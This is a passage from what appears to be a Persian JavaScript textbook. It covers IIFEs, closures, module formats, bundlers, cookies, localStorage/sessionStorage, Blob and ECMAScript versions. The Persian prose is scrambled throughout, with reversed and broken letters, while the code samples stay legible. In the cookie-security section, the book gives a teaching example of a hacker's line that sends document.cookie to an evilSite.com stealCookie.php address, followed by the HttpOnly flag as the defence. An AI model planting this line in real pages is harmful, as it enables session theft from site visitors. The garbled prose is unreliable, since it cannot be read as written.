،و ااااو : تا ظح ل ز ا یکی ،لا اب دک ه کت ند نا و خ اب لا ا مت ح ا هن و گ چ هک دشاب گن گ ی م ک نات یار ب بلط م زو ن ه تسا نکم م ا ی د یا هت ش اد ا ر دی ن ک هب رجت راب ن ی د ن چ !؟ م ی ن کیم هد افت سا نآ ز ا هن و گ چ ا ی ده دی م خ ر ق افت ا نیا ا ر د وب ام هما نر ب ی ل ص ا لوژ ام هک MyApp یدو رو هک دش یح ار ط لوژ ام ری ز کی ،ه دش ه ئا ر ا ل اثم ر د ش خب ن یا ، دی نکن بجعت تسا ه دش هتشو ن IIFE ینا و خارف ر د ه ک {} || دک د روم ر د ، د ن کیم تف ا ی ر د ا طخ اب لوژ ام ری ز ی ار ب ه دش هتشو ن ی اهدک دشاب ه د شن فیرعت یل ص ا لوژ ام ر گ ا ه ک د ن کیم ی س ر ر ب object هب لوژ ام ری ز ر د ب یت رت نیا ه ب ،ده د ه م ادا د و خ یل ص ا درکلم ع ی ار ج ا ه ب و دشا بن هارم ه فیرعت ا ر د و خ رظن د روم ع بات ا ی ر یغتم ،نآ یور م ی نا وتیم و هتش اد یسرتسد مت سی س یل ص ا لوژ ام ر ا د ق م ر د یل ص ا لوژ ام تا ن ا ک م ا ز ا ات م ی ن کیم ی نادر گزاب ا ر د وجوم object زی ن رخ آ ر د ،م ی ن ک ار ج ا و .م ی ن ک هد افت سا لوژ ام ری ز یت ش گزاب [ هدن زاس ی اه ل وژام تمرف ع اونا یار ب و هدر ب م ا ن ا ر د وشیم هد افت سا ی مو م ع تروص هب هک ه د ن زا س ی اه لوژ ام رو هش م یاه ت م رف :می وش ا ن شآ ما دک ر ه هب ط وب ر م یاه ت یهام اب ات م ی ن کیم ر ک ذ ی هاتوک دک ه کت ما دک ر ه Asynchronous Module Definition )AMD( //Calling define with a dependency array and a factory function define([ ‘dependency1’ , ‘dependency2’ ], function ( dep1, dep2 ) { //Define the module value by returning a value. return function () {}; }); 144 اه لوژ ا م و اه closure ، IIFE ","م یه ا و خ زای ن د ی دج لوژ ام ر د ه ک ی ی اهی گت سب او ز ا یاهیا رآ ا ر لوا رت م ا را پ م ی نا وتیم ، define ع بات ر د ندش هد امآ ز ا سپ ات م ی ن ک هد ای پ callback تروص هب ع بات کی س پ س و م یهدب ر ا د ق م ت ش اد ع بات نآ ه ن دب ر د ه ک ام ه دش هتشو ن ی اهدک و ه دش ار ج ا ع بات ،اهی گت سب او ه د نن ک م ه ارف ی اه ر یغتم .د ن وش ار ج ا ، د نر یگیم ر ار ق CommonJS هد افت سا اهید ن مزای ن ی ر ا ذگراب ی ار ب require ز ا ه ک تسا ه دش هد افت سا node.js ر د ت م رف نیا .در ی گ یم ر ار ق هد افت سا د روم module.export زی ن نتفر گ یجو رخ یار ب و د ن کیم // require needed dependency var dep1 = require ( ‘./dependency1’ ); var dep2 = require ( ‘./dependency2’ ); module .exports = function (){ //... } Universal Module Definition :تسا فورع م UMD هب هک لوژ ام فیرعت ی مو م ع ت لاح ( function ( root, factory ) { if ( typeof define === ‘function’ && define.amd) { define([ ‘dep’ ], factory); } else if ( typeof module === ‘object’ && module .exports){ module .exports = factory( require ( ‘dep’ )); } else { // Browser globals (root is window) root.returnExports = factory(root.b); } }( this , function ( dep ) { //use b in some fashion. return {}; })); 145 متفه شخب ","نآ اب و دش هداد ح یضوت ل ماک لک ش هب UMD رات خ ا س ،ش خب ن یا ز ا IIFE ثحب م رخ آ ش خب ر د .م یتسه ا ن شآ ES6 رد لوژ ام تم رف ن در ک د ول ی ار ب import یدی ل ک ه مل ک ز ا ه ک تسا ه دش ه ف اض ا ت پ یرکس ا م ک ا ز ا 6 ه خس ن ر د ی گژ یو نیا ز ا نتفر گ یجو رخ یار ب export روت سد ز ا و د ن کیم هد افت سا زای ن د روم یاهی گت سب او ا ی اهزای ن ش ی پ و در ک م یه ا وخ ن راک اهنآ اب د ا ی ز ش خب ن یا ر د ه ک .د ن کیم هد افت سا لوژ ام کی publicAPI رید ا ق م .م ی ن کیم ه د ن سب اهنآ ی ل ک رات خ ا س اب ه ط ب ا ر ر د ی لاثم ه ئا ر ا ه ب طقف getData م ا ن اب ی ع بات م یه ا وخب و م یشاب هتش اد dataManager.js م ا ن اب )ی لو ژ ام (یلی ا ف دی ن ک ضرف راک ن یا یار ب ، م ی ن ک زا ج م لی ا ف یلخاد scope ز ا ج را خ ی اه هد افت سا یار ب publicAPI ن ا و ن ع هب ز ا ا ر :م یس ی و ن ب ری ز مرف ه ب یدک ه کت ت س ی ابیم // dataManager.js var data = { title: “Js book test” }; // Export variable default export default data ; // Export the function export function getData (){ return data; } // Do not export the function function somePrivateFunction (){ // some code } م یه ا و خی م ل اح ، میاهدر ک د ا جیا ینور یب هد افت سا یار ب getData ع بات ز ا ی جو رخ کی راک ن یا اب لی ا ف ز ا ا ر زای ن د روم ع بات ا دتب ا ت س ی ابیم راک ن یا یار ب ، م ی ن ک هد افت سا رگید یلی ا ف ر د ع بات ن یا ز ا :ت ش اد م یه ا و خ ه ک یدک سپ ،م ی ن ک هد افت سا نآ ز ا س پ س و م ی ن ک یر ا ذگراب dataManager 146 اه لوژ ا م و اه closure ، IIFE ","import { getData } from ‘./dataManager’ ; var data = getData(); console .log(data); : as یدی ل ک ه مل ک ز ا هد افت سا اب ل اثم ی ار ب . ت شو ن ن ا وتیم زی ن یرگید ی اه مرف ه ب ا ر دک ن یا هتب ل ا import { getData as data } from ‘./dataManager’ ; data(); * ز ا ،م ی ن ک یر ا ذگراب ا ر تسا سرتسد ل باق رظن د روم لی ا ف ز ا ه ک publicAPI ل ک م یه ا وخب ر گ ا ا ی :م ی ن کیم هد افت سا import * from ‘./dataManager’; getData(); ع ب ا وت ز ا هد افت سا ه ب دو د ح م ا هنت ام زی ن درکیو ر ن یا ر د ،ید اع لوژ ام ر د publicAPI د نن ا م ه هت ب ل ا :ل اثم ، م یه د ر ار ق یجو رخ ن ا و ن ع هب زی ن ا ر رگید رید ا ق م م ی نا وتیم و م یتسی ن export default function sayHello (){ console .log( ‘I will say default Hello’ ); } export function getBase64 (){ console .log( ‘I Am Not Base64’ ); } export const imagesPrefix = ‘/test/src/’ ; export const imagesOptions = { responsive: true } 147 متفه شخب ","[ ل وژام ی اه هد نن ک تیری د م نا م ه ا ی اه لوژ ام یاه ه د نن ک تیری دم ی س ر ر ب هب اه لوژ ام یاه ت م رف عا و نا ک ر د ز ا سپ د نت سه ی ی اه مت سی س اه لوژ ام یاه ه د نن ک تیری دم ع ق او ر د ،می ز ادرپی م لوژ ام یاه ه د نن ک یر ا ذگراب .د نن کیم م ه ارف و ر یسفت ا ر ص ا خ ت م رف کی ر د ه دش هتشو ن ی اه لوژ ام هک ده دیم م ا جنا لوژ ام ه دنن ک ت یرید م کی ه ک یروما .د وشیم یر ا ذگراب لوژ ام ه د نن ک تیری دم د و خ ا دتب ا .د ن کیم یر ا ذگراب و هدر ک تف ا ی ر د ا ر هژورپ ه ب ط وب ر م ی ل ص ا لی ا ف یر ا ذگراب ی ار ب م ز لا ی اهید ن مزای ن و هدر ک ر یسفت ا ر ی ل ص ا لی ا ف ن ا و ن ع هب ه دش تف ا ی ر د یا وت ح م .د ن کیم ی ی ا س ا ن ش ا ر .د ن کیم یر ا ذگراب ا ر هما نر ب زای ن د روم یاه لی ا ف ر د ه ک لی ا ف یدا د عت ه ک م ی ن کیم ه دها ش م م ی ن ک زاب ا ر ر گرو ر م network بت ر گ ا ل یل د ن ی م ه هب .د ناه دش یر ا ذگراب ی ل ص ا لی ا ف د و خ و مید وب هدر ک فیرعت یل ص ا ر یسم لوژ ام یا ه ه دنن ک ت یرید م ن یر ت فور عم AMD ید ن ب لوژ ام ت م رف یار ب یر از ب ا ن ا و ن ع هب RequireJS ه راش ا AMD, CommonJS, UMD :ید ن ب لوژ ام یاه ت م رف یار ب یر از ب ا ن ا و ن ع هب systemJs 148 اه لوژ ا م و اه closure ، IIFE ",".د نر یگیم ر ار ق هد افت سا د روم لوژ ام یاه ت م رف ز ا ع و ن د ن چ ا ی کی ر د ما دک ر ه هک در ک [ ل وژام bundler ید ن مزای ن ی اه لی ا ف کت کت ندش یر ا ذگراب هب زای ن اه لوژ ام یاه ه د نن ک تیری دم ه کنیا ل یلدب ندش ل وغ ش م و http تسا و خ ر د کی ل ماش اهیر ا ذگراب ن یا ز ا ما دک ر ه و د ند وب ه ن اگ ا دج تروص هب و ل ماک یر ا ذگراب ی ار ب م ز لا نامز ، رگید لئ اسم ی ر س کی و ر براک زای ن د روم هداد ن یمات ی ار ب رو رس هح فص کت ی اههما نر ب دیلوت هب نوز فا زور زای ن ،هولاع ب ، ت سه لا اب ه دش لد ا بت ی اه تسا و خ ر د مج ح ینم ض تروص هب ا ی ، ا جکی تروص هب زای ن د روم س رو س م ا مت ، د ن وشیم ه دیما ن SPA اح لاط ص ا ه ک کی اب ا ر د و خ زای ن د روم یاه هداد هم ه م یه دی م ح یج رت سپ د ن وشیم د ول bundle لی ا ف نا م ه ر د .م ی ن ک تف ا ی ر د ه دش مج ح م ک تروص هب و تسا و خ ر د اهزا س هت سب ن یا تق ی ق ح ر د ، د ناه دش تخ ا س اه ج ی کپ یار ب bundler یر س کی رو ظن م ن یا یار ب رته ب و رتهتف ا ی نامزا س لک ش هب ا ر راک نا م ه هک ار چ ،د ناه دش اه لوژ ام یاه ه د نن ک تیری دم ن یزگی اج .د ن ه دی م م ا جنا :دی ن کیم یط bundler ز ا هد افت سا ر د کی ه ک ی ل ح ار م هدر ک لی اپماک ا ی ر یسفت ا ر ی دو رو یاه لی ا ف و د وشیم ار ج ا bundle لی ا ف دیلوت ی ار ب bundler .د ن کیم هر ی خذ bundle حلاط ص ا ه ب لی ا ف کی ر د و .د وشیم ار ج ا و ی ر ا ذگراب ر گرو ر م ر د ه دش د ا جیا bundle لی ا ف .در ک ه راش ا webpack و browserify هب ن ا وتیم زی ن لوژ ام یاهزا س هت سب ن یرت رو هش م ز ا هک د وب ی ی ا هن ه دش bundle لی ا ف یلا اب مج ح ،د ش یم اه bundler هب هک ی ی اهد قن نیرتیل ص ا ز ا ت ش اد در براک ی اهح فص کت ا ی SPA یاههما نر ب ی ار ب لی ا ف کی ر د اه لی ا ف م ا مت ندش ع ی مجت ل یلدب هکت تروص هب اهدک ی ق بام و ه دش د ا جیا ه یلو ا ی ر ا ذگراب ی ار ب bundle لی ا ف یی اه درکیو ر اب ار ی خا ه ک .د ن وشیم د ول ش خب نآ هب ید ن مزای ن س ا سار ب و ه کت 149 متفه شخب ","دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دیه د هئا ر ا ا ر نآ ز ا هد افت سا لیلاد و هدر ک رظن را ه ظ ا IIFE د روم ر د .دی ن ک یزا س هد ای پ IIFE تروص هب ع ب ا وت ی رس کی دی نا وتب .دیه د ح یضوت ا ر IIFE ز ا هد افت سا ی اه تیز م .د یرب ب م ا ن ا ر اهنآ ز ا یی اه در براک و دیه د ح یضوت اه closure د روم ر د .دی ن ک یح ار ط closure یار ب باتک یاه ل اثم ز ا ج را خ یلم ع ل اثم کی .دی ن ک نایب ا ر closure اب نآ توافت و دیشاب ا ن شآ اه لوژ ام ی لخاد رات خ ا س اب .دی ن ک رظن را ه ظ ا module loader و module bundler د روم ر د 150 اه لوژ ا م و اه closure ، IIFE ","م تشه شخب هد ا د تیریدم و ی زاس هر ی خذ ∞ :شخب فادها نآ هد افتس ا دراو م و یک و ک اب ییانشآ ا هن آ ت ین م ا و ا هی ک و ک تیریدم هو حن تخانش ) web storage api( ب و هظ ف ا ح ط ب ار اب ییانشآ sessionStorage و localStorage ی یا هد رب ر اک کرد blob اب ییانشآ blob اب ر اک ی ا ه دتم و ا هل ا ث م کرد یک و ک ","هک تسا نیا ر د ر یغتم و یکوک توافت ، م ی ن ک هد افت سا 1 یکوک ز ا م ی نا وتیم ، هداد ی زا سهر ی خذ یار ب هب ی ر براک دی ن ک رو صت ل اثم ی ار ب .دشابیم سرتسد ل باق زی ن هح فص ندش شرف ر ز ا سپ ی کوک هع ج ار م ر د هکنیا یار ب ،د ن کیم د ر او ا ر د و خ م ا ن تاع لا ط ا دو رو مرف ر د و د ن کیم ه ع ج ار م ام تی اسبو ر د ا ر ر براک م ا ن نت م هتشر کی ب لاق ر د م ی نا وتیم ،دشا بن ر براک م ا ن ندش رپ ه ب یزای ن ،ر براک ید ع ب .م ی ی ا من ی ر ا د هگن ی کوک [ یکوک ر د ر اد قم ه ر ی خذ ز ا بتر م جو ز کی و د وشیم یر ا د هگن ر براک مت سی س یو ر ر ب ی نت م لی ا ف کی ب لاق ر د ی کوک document یور ر ب و د ن کیم ه راش ا ی زا س هر ی خذ یار ب رظن د روم نتم هب هک تسا یی اهر ا د ق م و دی ل ک :دشابیم سرتسد ل باق document .cookie = “studentName=AliKarimi” ; و ین ا س رزور هب ،ند نا و خ یار ب نآ ز ا ن ا وتیم و د ر ا د ن در براک یکوک د ا جیا یار ب طقف رات خ ا س نیا نیا .در ک هد افت سا ی کوک ف ذح نی نچم ه و رظن د روم یکوک ن د وب ربتع م نامز تدم ی ار ب زی ن یرگید تا م ی ظنت م ی نا وتیم هت ب ل ا هد افت سا path و expires ز ا رو ظن م ن یا یار ب ، م ی ن ک م ی ظنت ز ی ن ا ر دشاب ربتع م نآ ر د ی کوک هک ی ر یسم .م ی ن کیم document .cookie = “studentName=AliKarimi; expires=Thu, 23 Dec 2019 15:45:00 UTC; path=/” ; .د وب ده ا و خ ل ا عف ص خ ش م تدم هب و رظن د روم path ر د طقف رظن د روم یکوک ب یت رت نی دب [ اه ی کوک ریداقم تیری د م اب راک د نن ا م ه یگ د ا س ه ب زی ن ی کوک کی ر د ه دش هر ی خذ ر ا د ق م ر ییغت ا ی و ند نا و خ یار ب هتب ل ا .داد ر ییغت ا ی و د نا و خ ا ر رظن د روم ر ا د ق م ن ا وتیم ،نآ ی نا و خارف اب اه object هی ق ب ی ی اهیگژ یو تیری دم ا ر نآ ت س ی ابیم نام د و خ و ه ک در ک م یه ا و خ تف ا ی ر د هت شر کی ام هک دیشاب هتش اد ه جوت 1 cookie 152 هداد تی ر ید م و یز ا س هر یخ ذ ","نتشو ن یار ب اهنآ ز ا و م ی ن ک یح ار ط cookie تیری دـم ی ار ب ا ر ی ی اهدــتم م ی نا وتیم ل اثم ی ار ب . م ی ن ک هد افت سا ری ز دتم ز ا ن ا وتیم یکوک هر ی خذ یار ب ل اثم ی ار ب . م ی ن ک هد افت سا ی کوک ز ا ر ا د ق م تف ا ی ر د و :در ک function setCookie ( cname, cvalue, exdays ) { var d = new Date (); d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000 )); var expires = “expires=” +d.toUTCString(); document .cookie = cname + “=” + cvalue + “;” + expires + “;path=/” ; } رته ب هک د ن ر اد د وجو تنرتنیا ر د اهیکوک ز ا هد افت سا و تیری دم ی ار ب یبو خ ی اهه ن اخباتک و اهدتم .د و من هد افت سا اهیکوک تیری دم ی ار ب اهنآ ز ا ،یتسد تیری دم یاج هب تسا [ یکوک فذ ح یار ب ، م یه دی م ر ار ق یراج خی رات ز ا رتلب ق یخ ی رات ی ار ب ا ر نآ یا ضقنا خی رات یکوک ف ذح ی ار ب تروص هب نآ م ی ظنت اب ،دشابیم اهیکوک ف ذح ر د هد افت سا یار ب یبو خ هنیز گ رتش ی پ ل ا س هد ل اثم :ل اثم . د وب ده ا و خ ندش ف ذح هلز ن م هب راک د و خ document .cookie = name + ‘=;path=/;expires=Thu, 01 Jan 1970 00:00:01 GMT;’ ; [ اه ی کوک ت ی نم ا د ا جیا اب د ننا وتیم اه رک ه ، document یمو م ع object ز ا ی کوک ندش ه د نا و خ نا ک م ا ل یل د ه ب یکوک ر د ه دش هر ی خذ تاع لا ط ا ید ز د ه ب ما دق ا یلع ج ریو ا صت یا ر اد ی اه ل ی میا ل ا س ر ا ا ی اه تی اسبو :ل اثم ی ار ب ،د نی ا من ر براک ( new Image()).src = “http://www.evilSite.com/stealCookie. php?cookie=” + document .cookie; 153 متشه شخب ","یار ب و تسا هدر ک یح ار ط یکوک تاع لا ط ا ی روآ عم ج ی ار ب بو س ر د آ کی رک ه هک م ی ن کیم ه دها ش م ه دها ش م ا ر رظن د روم ری و صت ده ا وخب ر براک یتقو ، تسا هدر ک هد افت سا نآ ز ا ری و صت ر هاظ هب کی د ول .د وشیم ل ا س ر ا رک ه رو رس ه ب یو یکوک تاع لا ط ا ، د ن ک یاه ها ر ز ا تسا نکم م هک اه رک ه طس وت یکوک ر د ه دش هر ی خذ تاع لا ط ا ت ق رس ز ا یر یگو ل ج ی ار ب م ی ظنت اب ، م ی ن ک هد افت سا ن د و من httpOnly یار ب د وجوم flag ز ا م ی نا وتیم د وش م ا جنا ید د عت م هتش اد یسرتسد ت ی ل باق و هد وب ربتع م http تسا و خ ر د قیر ط ز ا ا هنت اهیکوک تاع لا ط ا flag نیا د روم مه م یاه هداد هر ی خذ یار ب تسا رته ب و د ن ر ا د ن ییلا اب ی ل ی خ ت ی ن م ا ل ک ر د اهیکوک هت ب ل ا ، د ن شاب :ل اثم .د نر ی گن ر ار ق هد افت سا document .cookie = “name=value;expires=Thu, 23 Dec 2019 15:45:00 UTC; domain=my.domain.com; path=/; HttpOnly;” ; .د وشیم سرتسد ل باق http تسا و خ ر د قیر ط ز ا طقف رظن د روم یکوک httpOnly ن داد ر ار ق اب [ ) Web storage API( ب و هظفاح طبار هر ی خذ لح م کی ه ب زای ن ،تنیلا ک و رو رس تمس ر د م ه ،اهیکوک سرتسد ل باق ت یهام ل یل د ه ب دشاب سرتسد ل باق عیرس ت س نا وتیم و ت ش ا د ن رو رس تمس ر د ن د وب سرتسد ل باق هب یموزل هک یار ب و ی فرع م ر گرو ر م حطس ر د هداد ی ر ا د هگن یار ب ی ط ب ا ر HTML ز ا 5 ه خس ن ر د ، دشیم س اسح ا :د ی دج ی لح م ه ظف اح ع و ن ود ز ا هد افت سا نا ک م ا ه ک تفر گ ر ار ق ناس ی و نه ما نر ب رایت خا ر د هد افت سا یاهیگژ یو و تا ن ا ک م ا یا ر اد کی ر ه هک د و منی م م ه ارف ا ر localStorage , sessionStorage .د نت سه د و خ ص ا خ ا ی و کرتش م یکوک ر د ه ک یلاح ر د ، د نت سه ه دش هر ی خذ ر ا د ق م ی ار ب ا ضقنا خی رات نودب ، API ود ر ه ل اثم ی ار ب removeItem و clear یاهدتم ا ضقنا ی اج هب ، میدر کیم نیی عت ا ر یکوک یا ضقنا نامز و expire .د ن ر اد ه د ه ع ر ب ا ر ر ا د ق م ف ذح هفیظو هک می ر اد ا ر [ یکوک و localStorage ، sessionStorage ت وا فت دشاب ه دمآ ش ی پ لا و س ز ی ن ا م ش ی ار ب تسا نکم م و د ر اد د وجو API ود نیا ن یب ی د ا ی ز یاه ت ها ب ش یلح م ه ظف اح تیری دم ی ار ب توافتم API ود د وجو هب یموزل هچ و ت سیچ ر د نا شی اهتوافت هک 154 هداد تی ر ید م و یز ا س هر یخ ذ ",".د وشیم هداد حر ش اه ط ب ا ر ن یا ز ا کی ر ه هب ط وب ر م تا ح یضوت ر د ا م ش لا و س خس ا پ ،د ر اد د وجو API نتشو ن یار ب زا ج م یا ضف ن از یم هب ن ا وتیم زی ن یلح م ت س شن ا ی هظف اح و یکوک یاهتوافت ز ا ز ا هد افت سا و فیرعت یار ب ،ا ضف تی ابو ل یک 4 ز ا هد افت سا ه ب زا ج م ا هنت ی کوک ر د ه ک در ک ه راش ا تاع لا ط ا هک یکوک هب ط وب ر م هتشر ل ک ی ار ب )تی اب 4093( تی ابو ل یک 4 نیا ه ک دی ن ک ت ق د هتب ل ا .م یتسه یکوک زی ن یی اهتوافت فلت خم یاه ر گرو ر م ر د و دشابیم ت سه ... و name , value , expireDate ل ماش تیری دم ا ر یکوک نم ا و یل ک ی لک ش هب م یه ا وخب ر گ ا .د ر اد د وجو ی ئز ج تروص هب ز ی ا س نیا یو ر ر ب هک ار چ ، میربن رتلا اب تی اب 4000 ب اس ن دح ز ا ا ر د و خ هد افت سا د روم یکوک ن از یم تسا رته ب م ی ن ک .د ن کیم د ا جیا ین یب ش ی پ ل باق ر ی غ ی اها طخ یا ضف ن از یم فلت خم یاه ه ا گتسد هتب ل ا و فلت خم یاه ر گرو ر م نیب زی ن بو هظف اح ط ب ا ر د روم ر د )پ ا کتسد ی اه ر گرو ر م (تی ابا گ م 10 ات )4.3 د یو رد نا(تی ابا گ م 2 ز ا و تسا توافتم هد افت سا یار ب زا ج م هد افت سا م ا گن ه ر د ر گرو ر م بو خ رایسب ت ع رس ،در ک ه راش ا نآ هب د ی اب هک ی اهتکن .د وشیم ل ماش ا ر یاههخس ن و فلت خم یاه ه ا گتسد ر د ه ک تسا ند نا و خ ا ی نت شو ن ی اهتای لم ع ی ار ب ه ظف اح ن یا ز ا .تسا تفرش ی پ ل اح ر د ت ع رس ه ب اه ر گرو ر م فلت خم ه دش هر ی خذ ی اه هداد ه ب ی سرتسد ت ع رس و هد افت سا یار ب زا ج م یا ضف ن از یم ر یگ مش چ توافت .د نت سه یکوک یا ج ب بو ه ظف اح ط ب ا ر ز ا هد افت سا یار ب ه د نن ک عن اق ی لیلاد [ ) localStorage ( ی ل ح م هظفاح ص خ ش م ر ا د ق م کی ی زا س هر ی خذ یار ب هک ر ا د ق م هب دی ل ک یاه بتر م جو ز ر ب لمتش م ی اهظف اح م ا ن نا م ه ز ا هد افت سا اب ندش ه د نا و خ ت ی ل باق و د وشیم هد افت سا رظن د روم ن ا و ن ع کی ر د ینت م :ل اثم . د ر اد د وجو // Write localStorage.setItem( “bookName” , “js book” ); // Read console .log(localStorage.getItem( “bookName” )); :در ک هد افت سا removeItem ز ا ن ا وتیم زی ن دی ل ک ن یا ف ذح ی ار ب localStorage.removeItem( “bookName” ); 155 متشه شخب ","[ )sessionStorage ( ی ل ح م ت سشن هر ی خذ رید ا ق م هک توافت ن یا اب ، د ر اد نآ هبا ش م لا ماک ی درکلم ع ،ی لح م ه ظف اح ط ب ا ر د نن ا م ه هتسب تروص ر د و د وب د ن ه ا و خ ل ا عف )ر گرو ر م ن د وب زاب نامز ات ( یلعف ت س شن ر د ا هنت هظف اح ر د ه دش localStorage یور ر ب د وجوم یاهدتم ر ب هولا ع و د نت سی ن سرتسد ل باق تاع لا ط ا رگید ر گرو ر م ندش :د ی ا منی م ف ذح ا ر ه ظف اح ت س شن ر د ه دش هر ی خذ ی اه هداد م ا مت ه ک د ر اد clear م ا ن ه ب رگید دتم کی sessionStorage.clear(); [ Blob د وشیم ل ماش ا ر اهنآ ز ا ه عو م ــ ج م هک ) 0,1 ( یرنی اب یات ید ز ا گ رزـب object کی 2 blob مت سی س کی ر د گ رزب یاه هداد نیا ، دشاب ی رگید ی ات ید ر ه ا ی و توص ، ری و صت ،نت م د نا وتیم هک و د وب ه د شن ی ح ار ط رو ظن م ن یا یار ب blob ا دتب ا ر د ، د ن وشیم هر ی خذ 3 ) dbms (س یبات ید تیری دم ام ا ،د وب ه دش د ا جیا JimStarkey طس وت هک دشیم ل ماش ا ر اه هداد ز ا مظن ی ب هعو مج م کی طقف .دش رتکیدزن ی زو ر م ا در براک هب نآ د و به ب و blob م ا ن ب اخت نا اب اهد ع ب var debug = {hello: “world” }; var blob = new Blob([ JSON .stringify(debug, null , 2 )], {type: ‘application/json’ }); هب ی سرتسد یار ب ب یت رت ه ب هک ،د نت سه سرتسد ل باق blob یور ر ب زی ن size و type یاهیگژ یو .د ننادر گیم زاب ا ر blob یار ب هت ف ا ی ص ی ص خت MIME ع و ن و تی اب ب لاق ر د blob زی ا س و م ی ن ک ر ار ق ر ب ط ا بت ر ا اهنآ اب عیرس لک ش هب می ر اد زای ن ه ک م ی ن کیم یر ا د هگن blob ر د ا ر ی ی اه هداد ندش هر ی خذ ،ر م ا نیا یار ب blob ن د وب بس ا ن م ل یل د ،م یه د م ا جنا اهنآ یور ر ب تای لم ع ی ر س کی فرص م اب د وشیم ث عاب یگژ یو ن ی م ه ، تسا هظف اح و م ر یور ر ب د نم شوه تروص هب نآ یاه هداد د نی آ رف م ا مت هتب ل ا ،م یشاب هتش اد د روم هداد یو ر ر ب ی یلا اب ت ق د و ت ع رس م ی نا وتب م ر و ه ظف اح بس ا ن م .در یگیم ه د ه ع ر ب ر گرو ر م ا ر ه ظف اح ز ا ینا و خارف و ی زا س هر ی خذ 2 Binary Large Object 3 Database management system 156 هداد تی ر ید م و یز ا س هر یخ ذ ","س ردآ ه ب blob لیدب ت م ی ن کیم هد افت سا URL یمو م ع object ز ا نآ ز ا هد افت سا و کن یل هب ه دش هت خ ا س blob لی د بت یار ب زای ن د روم س ر د آ ، رت م ا را پ ن ا و ن ع هب رظن د روم blob ل ا س ر ا و createObjectURL دتم ی نا و خارف اب و :د وشیم هت خ ا س blob هب یبایت سد یار ب URL.createObjectURL(blob) “blob:null/d5782f61-86cc-4fdc-80bf-16d76b3002b1” ه دها ش م ا ر میا هداد ر ار ق blob ر د ه ک ی یا وت ح م ، ر گرو ر م ر د س ر د آ ن یا ینا و خارف اب ن ا وتیم ل اح یع ق او ی اه کن یل ر د ،تسا هتفر گ ر ار ق س ر د آ ن یا ر د ه ک null ر ا د ق م هک م یشاب هتش اد ه جوت . م ی ی ا من :ل اثم ی ار ب تسا ه دش م ا جنا نآ ر د blob تخ ا س ه ک د وب ده ا و خ یاهن م اد س ر د آ ،رو رس یو ر ر ب و blob:site.com/d5782f61-86cc-4fdc-80bf-16d76b3002b1 .دشابیم site.com هن م اد اب تی ا س ز ا blob کی س ر د آ blob یا هدت م ش خب کی د نا وتیم هک د ر اد د وجو blob یور ر ب 4 شر ب تای لم ع م ا جنا یار ب دتم کی ر ضاح ل اح ر د ب لاق ر د و هداد شر ب ) ا هتنا ا ی( رظن دم تی اب ه را م ش کی ات ص ا خ تی اب ه را م ش ز ا ا ر رظن د روم blob ز ا .ده دی م تش گزاب د ی دج object blob کی :د وشیم فیرعت ری ز مرف ه ب و د ر اد م ا ن slice دش ی فرع م هک یدتم Blob.slice(start, end, contentType); ر د م یه ا و خی م هک تسا ییا وت ح م ع و ن م و س رت م ا را پ و نا ی ا پ ت یب مود رت م ا را پ ،عور ش ت یب لوا رت م ا را پ .م یشاب هتش اد د ی دج blob 4 slice 157 متشه شخب ","دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دی ن ک هد افت سا ص ا خ هن اخباتک ز ا هد افت سا نودب اهیکوک ز ا .دی ن ک هد افت سا ح ی ح ص لک ش هب ما دک ر ه ز ا دی نا وتب و ه دش ا ن شآ بو هداد ی ر ا د هگن ی اه ط ب ا ر اب .دیشاب هتش اد sessionStorage و localStorage ز ا هد افت سا ه ا گی اج ز ا یل ماک ک ر د sessionStorage و localStorage و یکوک هد ا س تیری دم ی ار ب ی اهن اخباتک دی ن ک ی عس .دیس ی و ن ب .دیه د ح یضوت ا ر blob در براک دی نا وتب .دی ن ک هر ی خذ ا ر هداد ز ا ص ا خ ع و ن کی دی نا وتب blob ز ا هد افت سا اب .دی ن ک ه دها ش م کن یل ب لاق ر د ا ر blob ه دش هر ی خذ ی اه هداد دی نا وتب .دی ی ا من نآ یزا سا دج و لی ا ف ن در ک ه کت هکت ه ب ر د اق slice دتم ز ا هد افت سا اب 158 هداد تی ر ید م و یز ا س هر یخ ذ ","م هن شخب و Polyfill ، تپیرکسا مکا ی اهه خسن Transpile ∞ :شخب فادها ES ف لتخم ی ا ه هخ س ن اب ییانشآ نآ ی ا هیگ ژیو و ES6 اب یلک ییانشآ polyfill موه فم اب ییانشآ polyfill ف یرع ت دوبه ب polyfill یا رب closure ز ا هد افتس ا transpile موه فم transpile یا رب د و ج و م ی ا هراز ب ا babel ز ا هد افتس ا ش ز و مآ ","[ ت پ یرکسا مکا ی اهه خسن کی طس وت ، ت پ یرکس ا م ک ا .دو ریم ش ی پ ECMAScript د ر ا د ن ات سا اب ق با ط م ت پ یرکساو اج نابز ه د ن ه د هعس وت ،ی ژ ولو نکت ل ا عف ی اه ت ک ر ش ا ر نآ یا ض ع ا ه ک تسا ه دش هت خ ا س 1 TC39 م ا ن ه ب م یت نابز د ر ا د ن ات سا یو ر ر ب ما دم TC39 م یت .د ن ه دی م ل ی کشت هع ماج ن یا ه ب د ن مهق لا ع دارفا و اه ر گرو ر م یلک ش هب نی صص ختم ز ا توع د و یصص خت یاه دا د یو ر یر از گ ر ب اب مظن م تروص هب و د ن کیم راک .د نن کیم ل ی مکت ا ر ا م ک ا د ر ا د ن ات سا ، ا ی و پ نابز ن یا ی زا سد ر ا د ن ات سا یار ب ecma یللم ل ا ن یب نامزا س ه ک ی د ر ا د ن ات سا ت پ یرکس ا م ک ا تق ی ق ح ر د ن ا وتیم ا بیرقت تسا د ر ا د ن ات سا نیا یا ر اد نابز ن یرتل ماک ت پ یرکساو اج نوچ و تسا هداد هئا ر ا زی ن یرگید ی اههتسه هت ب ل ا ، د ن شابیم نابز کی یار ب م ا ن ود ت پ یرکساو اج و ت پ یرکس ا م ک ا ه ک ت فگ .ActionScript , V8 , SpiderMonkey :د نن ام د ناه دش هداد هعس وت د ر ا د ن ات سا نیا یو ر ر ب کیدزن و د ن ر اد یل ک ی ن ا ب یت شپ ا بیرقت د ند وب هداد هئا ر ا ا ر د ی دج تا ن ا ک م ا یخر ب هک es5 و es3 ه خس ن تسا رو هش م زی ن es2015 ه ب هک es6 ه خس ن ی لو د نت سه راگزا س اه نآ اب زور یاه ر گرو ر م دصر د 100 ه ب ش شو پ ش خب ن یا ر د ه ک ی ی اهرا ک ه ا ر ت س ی ابیم و د وشی من ین ا ب یت شپ ل ماک تروص هب زو ن ه ا بیرقت .د وش ار ج ا اه ر گرو ر م 